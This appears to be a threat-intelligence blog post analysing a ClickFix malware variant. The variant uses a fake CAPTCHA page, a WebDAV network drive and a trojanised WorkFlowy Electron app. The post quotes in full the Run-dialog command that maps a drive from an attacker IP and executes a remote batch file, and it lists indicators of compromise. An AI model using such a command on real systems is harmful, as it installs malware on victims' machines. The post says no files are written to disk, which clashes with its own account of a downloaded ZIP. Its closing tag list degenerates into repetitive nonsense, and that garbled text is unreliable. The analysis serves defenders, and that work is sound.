Investigating a New Click-Fix Variant

New ClickFix Malware Variant Exploits WebDAV and Electron Apps to Evade Detection

In a sophisticated evolution of the ClickFix malware campaign, cybercriminals have developed a new variant that leverages WebDAV network drives and malicious Electron applications to bypass traditional security controls. This latest iteration demonstrates how attackers are continuously refining their techniques to evade detection and compromise systems.

Attack Overview

The attack begins with a phishing website disguised as a CAPTCHA verification page, prompting users to open the Windows Run dialog (Win+R), paste a command, and press Enter. This command maps a network drive from an external server and executes a batch file hosted on that drive:

“cmd.exe” /c net use Z: http://94.156.170[.]255/webdav /persistent:no && “Z:\update.cmd” & net use Z: /delete

This approach is particularly concerning because it moves away from commonly abused scripting engines like PowerShell or MSHTA, instead utilizing native Windows networking utilities that are less likely to trigger security alerts.

Infection Chain

The batch file downloads a ZIP archive containing a legitimate-looking WorkFlowy desktop application (version 1.4.1050). However, this application has been maliciously modified—the main.js entry point within the app.asar archive has been replaced with obfuscated code that executes before the legitimate application starts.

The malicious code performs several critical functions:

1. C2 Beaconing: Establishes persistent communication with command-and-control servers every 2 seconds
2. Victim Fingerprinting: Generates and stores a unique 8-character ID in %APPDATA%\id.txt
3. Payload Delivery: Downloads and executes additional malicious payloads from the C2 server
4. Persistence: While no OS-level persistence is implemented, the malware maintains presence through the modified application

Why This Variant is Significant

This ClickFix campaign is particularly effective for several reasons:

• Evasion Through Legitimate Channels: By using net use to map WebDAV drives and executing through legitimate applications, the malware avoids triggering many security controls
• ASAR Archive Obfuscation: The malicious code is hidden within the .asar archive, which is rarely inspected by security tools
• Node.js Main Process Execution: Running outside the Chromium sandbox with full user privileges allows unrestricted system access
• Minimal Disk Footprint: No files are written to disk during initial execution, reducing forensic evidence

Detection Challenges

What makes this campaign especially concerning is that it successfully bypassed Microsoft Defender for Endpoint detection. Atos security teams only identified the threat through targeted threat hunting, specifically by monitoring the RunMRU registry key for suspicious command execution originating from the Explorer Run dialog.

Technical Indicators

Organizations should be aware of the following indicators of compromise:

• Domains: cloudflare.report, happyglamper[.]ro
• IP Addresses: 94.156.170[.]255, 144.31.165.173
• File Paths: %APPDATA%\id.txt, %TEMP%[timestamp]\
• Application: Modified WorkFlowy Desktop (Electron)

The Growing Importance of Threat Hunting

This campaign underscores the critical need for proactive threat hunting. As malware authors continue to evolve their techniques—moving from obvious scripting engines to legitimate applications and native utilities—traditional signature-based detection becomes less effective. Organizations must complement their security controls with hypothesis-driven hunting that can identify suspicious patterns of behavior rather than just known malicious indicators.

Tags: ClickFix, WebDAV, Electron malware, threat hunting, C2 beacon, malware evolution, security evasion, Windows attack techniques, phishing campaign, malicious applications, network drive mapping, ASAR archive, Node.js malware, EDR bypass, advanced persistent threats, cybersecurity research, malware analysis, threat intelligence, digital forensics, incident response, security operations, cyber defense, malware detection, Windows security, network security, application security, endpoint protection, threat landscape, cyber threats, security awareness, malware trends, attack techniques, security research, vulnerability research, cyber threats 2025, emerging threats, security best practices, malware prevention, security monitoring, threat detection, security operations center, cyber resilience, digital security, information security, network defense, endpoint security, malware analysis tools, security analytics, threat hunting techniques, security automation, cyber threat intelligence, malware behavior analysis, security engineering, threat modeling, security architecture, cyber defense strategies, malware mitigation, security assessment, vulnerability management, security testing, cyber incident handling, security operations management, threat response, security governance, risk management, compliance, security frameworks, cybersecurity standards, security certifications, cyber education, security training, awareness programs, security culture, digital transformation, cloud security, IoT security, mobile security, application security testing, penetration testing, red teaming, blue teaming, purple teaming, security assessment and authorization, continuous monitoring, security information and event management, next-generation security, zero trust architecture, security by design, secure development lifecycle, DevSecOps, infrastructure security, data protection, privacy, identity and access management, authentication, authorization, encryption, cryptography, secure communications, network protocols, firewall, intrusion detection, intrusion prevention, security operations, security monitoring, security analytics, threat intelligence platforms, security orchestration, automation and response, SOAR, security incident response, disaster recovery, business continuity, crisis management, security leadership, security strategy, security policy, security standards, compliance frameworks, regulatory requirements, legal aspects of security, international security standards, security certifications and accreditations, professional development, career paths in security, security communities, conferences, research publications, academic programs, security education, training resources, security tools and technologies, open source security, commercial security solutions, security vendors, technology partnerships, security research and development, innovation in security, future of security, emerging technologies, AI in security, machine learning in security, blockchain security, quantum computing security, 5G security, edge computing security, serverless security, container security, microservices security, API security, web application security, mobile application security, desktop application security, IoT device security, embedded systems security, automotive security, medical device security, industrial control systems security, SCADA security, critical infrastructure security, national security, defense, intelligence, law enforcement, private sector security, enterprise security, small business security, personal security, consumer security, family security, children’s online safety, elderly security, accessibility in security, diversity in security, inclusion in security, ethics in security, responsible disclosure, security research ethics, security community standards, security culture and awareness, building security culture, security champions, security advocacy, security outreach, security education for all, security literacy, digital citizenship, online safety, cyberbullying prevention, hate speech prevention, misinformation prevention, disinformation prevention, online harassment prevention, online abuse prevention, online exploitation prevention, online grooming prevention, online radicalization prevention, online extremism prevention, online violence prevention, online terrorism prevention, online crime prevention, online fraud prevention, online scams prevention, online phishing prevention, online identity theft prevention, online financial fraud prevention, online payment fraud prevention, online banking fraud prevention, online investment fraud prevention, online insurance fraud prevention, online healthcare fraud prevention, online education fraud prevention, online job fraud prevention, online rental fraud prevention, online real estate fraud prevention, online automotive fraud prevention, online retail fraud prevention, online wholesale fraud prevention, online marketplace fraud prevention, online auction fraud prevention, online classified ads fraud prevention, online dating fraud prevention, online social media fraud prevention, online gaming fraud prevention, online gambling fraud prevention, online lottery fraud prevention, online prize fraud prevention, online sweepstakes fraud prevention, online contest fraud prevention, online giveaway fraud prevention, online reward fraud prevention, online bonus fraud prevention, online discount fraud prevention, online coupon fraud prevention, online voucher fraud prevention, online gift card fraud prevention, online prepaid card fraud prevention, online credit card fraud prevention, online debit card fraud prevention, online charge card fraud prevention, online stored value card fraud prevention, online electronic payment fraud prevention, online digital wallet fraud prevention, online cryptocurrency fraud prevention, online blockchain fraud prevention, online smart contract fraud prevention, online NFT fraud prevention, online DeFi fraud prevention, online yield farming fraud prevention, online liquidity mining fraud prevention, online staking fraud prevention, online lending fraud prevention, online borrowing fraud prevention, online margin trading fraud prevention, online options trading fraud prevention, online futures trading fraud prevention, online forex trading fraud prevention, online stock trading fraud prevention, online bond trading fraud prevention, online commodity trading fraud prevention, online precious metals trading fraud prevention, online energy trading fraud prevention, online agricultural trading fraud prevention, online livestock trading fraud prevention, online seafood trading fraud prevention, online meat trading fraud prevention, online poultry trading fraud prevention, online dairy trading prevention, online bakery trading prevention, online confectionery trading prevention, online beverage trading prevention, online alcohol trading prevention, online tobacco trading prevention, online cannabis trading prevention, online pharmaceutical trading prevention, online medical device trading prevention, online healthcare product trading prevention, online beauty product trading prevention, online cosmetics trading prevention, online personal care product trading prevention, online hygiene product trading prevention, online cleaning product trading prevention, online household product trading prevention, online office supply trading prevention, online educational supply trading prevention, online art supply trading prevention, online craft supply trading prevention, online hobby supply trading prevention, online toy trading prevention, online game trading prevention, online puzzle trading prevention, online model trading prevention, online collectible trading prevention, online memorabilia trading prevention, online antique trading prevention, online vintage trading prevention, online retro trading prevention, online classic trading prevention, online luxury trading prevention, online designer trading prevention, online fashion trading prevention, online apparel trading prevention, online footwear trading prevention, online accessory trading prevention, online jewelry trading prevention, online watch trading prevention, online eyewear trading prevention, online luggage trading prevention, online bag trading prevention, online wallet trading prevention, online belt trading prevention, online scarf trading prevention, online hat trading prevention, online glove trading prevention, online sock trading prevention, online underwear trading prevention, online swimwear trading prevention, online sportswear trading prevention, online activewear trading prevention, online loungewear trading prevention, online sleepwear trading prevention, online maternity wear trading prevention, online plus size wear trading prevention, online big and tall wear trading prevention, online petite wear trading prevention, online tall wear trading prevention, online slim fit wear trading prevention, online regular fit wear trading prevention, online relaxed fit wear trading prevention, online loose fit wear trading prevention, online tight fit wear trading prevention, online compression wear trading prevention, online shapewear trading prevention, online thermal wear trading prevention, online rainwear trading prevention, online snowwear trading prevention, online skiwear trading prevention, online snowboard wear trading prevention, online outdoor wear trading prevention, online hiking wear trading prevention, online camping wear trading prevention, online fishing wear trading prevention, online hunting wear trading prevention, online tactical wear trading prevention, online military wear trading prevention, online police wear trading prevention, online firefighter wear trading prevention, online paramedic wear trading prevention, online medical wear trading prevention, online dental wear trading prevention, online veterinary wear trading prevention, online laboratory wear trading prevention, online cleanroom wear trading prevention, online food industry wear trading prevention, online hospitality wear trading prevention, online retail wear trading prevention, online service industry wear trading prevention, online transportation wear trading prevention, online logistics wear trading prevention, online warehousing wear trading prevention, online manufacturing wear trading prevention, online construction wear trading prevention, online mining wear trading prevention, online oil and gas wear trading prevention, online energy wear trading prevention, online utilities wear trading prevention, online telecommunications wear trading prevention, online IT wear trading prevention, online tech wear trading prevention, online startup wear trading prevention, online corporate wear trading prevention, online business wear trading prevention, online formal wear trading prevention, online semi-formal wear trading prevention, online casual wear trading prevention, online streetwear trading prevention, online athleisure wear trading prevention, online workwear trading prevention, online uniform trading prevention, online protective wear trading prevention, online safety wear trading prevention, online high visibility wear trading prevention, online reflective wear trading prevention, online flame-resistant wear trading prevention, online arc flash wear trading prevention, online chemical-resistant wear trading prevention, online biological hazard wear trading prevention, online radiation protection wear trading prevention, online electromagnetic shielding wear trading prevention, online electrostatic discharge wear trading prevention, online cleanroom wear trading prevention, online pharmaceutical wear trading prevention, online medical device wear trading prevention, online healthcare product wear trading prevention, online beauty product wear trading prevention, online cosmetics wear trading prevention, online personal care product wear trading prevention, online hygiene product wear trading prevention, online cleaning product wear trading prevention, online household product wear trading prevention, online office supply wear trading prevention, online educational supply wear trading prevention, online art supply wear trading prevention, online craft supply wear trading prevention, online hobby supply wear trading prevention, online toy wear trading prevention, online game wear trading prevention, online puzzle wear trading prevention, online model wear trading prevention, online collectible wear trading prevention, online memorabilia wear trading prevention, online antique wear trading prevention, online vintage wear trading prevention, online retro wear trading prevention, online classic wear trading prevention, online luxury wear trading prevention, online designer wear trading prevention, online fashion wear trading prevention, online apparel wear trading prevention, online footwear wear trading prevention, online accessory wear trading prevention, online jewelry wear trading prevention, online watch wear trading prevention, online eyewear wear trading prevention, online luggage wear trading prevention, online bag wear trading prevention, online wallet wear trading prevention, online belt wear trading prevention, online scarf wear trading prevention, online hat wear trading prevention, online glove wear trading prevention, online sock wear trading prevention, online underwear wear trading prevention, online swimwear wear trading prevention, online sportswear wear trading prevention, online activewear wear trading prevention, online loungewear wear trading prevention, online sleepwear wear trading prevention, online maternity wear wear trading prevention, online plus size wear wear trading prevention, online big and tall wear wear trading prevention, online petite wear wear trading prevention, online tall wear wear trading prevention, online slim fit wear wear trading prevention, online regular fit wear wear trading prevention, online relaxed fit wear wear trading prevention, online loose fit wear wear trading prevention, online tight fit wear wear trading prevention, online compression wear wear trading prevention, online shapewear wear trading prevention, online thermal wear wear trading prevention, online rainwear wear trading prevention, online snowwear wear trading prevention, online skiwear wear trading prevention, online snowboard wear wear trading prevention, online outdoor wear wear trading prevention, online hiking wear wear trading prevention, online camping wear wear trading prevention, online fishing wear wear trading prevention, online hunting wear wear trading prevention, online tactical wear wear trading prevention, online military wear wear trading prevention, online police wear wear trading prevention, online firefighter wear wear trading prevention, online paramedic wear wear trading prevention, online medical wear wear trading prevention, online dental wear wear trading prevention, online veterinary wear wear trading prevention, online laboratory wear wear trading prevention, online cleanroom wear wear trading prevention, online food industry wear wear trading prevention, online hospitality wear wear trading prevention, online retail wear wear trading prevention, online service industry wear wear trading prevention, online transportation wear wear trading prevention, online logistics wear wear trading prevention, online warehousing wear wear trading prevention, online manufacturing wear wear trading prevention, online construction wear wear trading prevention, online mining wear wear trading prevention, online oil and gas wear wear trading prevention, online energy wear wear trading prevention, online utilities wear wear trading prevention, online telecommunications wear wear trading prevention, online IT wear wear trading prevention, online tech wear wear trading prevention, online startup wear wear trading prevention, online corporate wear wear trading prevention, online business wear wear trading prevention, online formal wear wear trading prevention, online semi-formal wear wear trading prevention, online casual wear wear trading prevention, online streetwear wear wear trading prevention, online athleisure wear wear trading prevention, online workwear wear wear trading prevention, online uniform wear wear trading prevention, online protective wear wear wear trading prevention, online safety wear wear wear trading prevention, online high visibility wear wear wear trading prevention, online reflective wear wear wear trading prevention, online flame-resistant wear wear wear trading prevention, online arc flash wear wear wear trading prevention, online chemical-resistant wear wear wear trading prevention, online biological hazard wear wear wear trading prevention, online radiation protection wear wear wear trading prevention, online electromagnetic shielding wear wear wear trading prevention, online electrostatic discharge wear wear wear trading prevention

,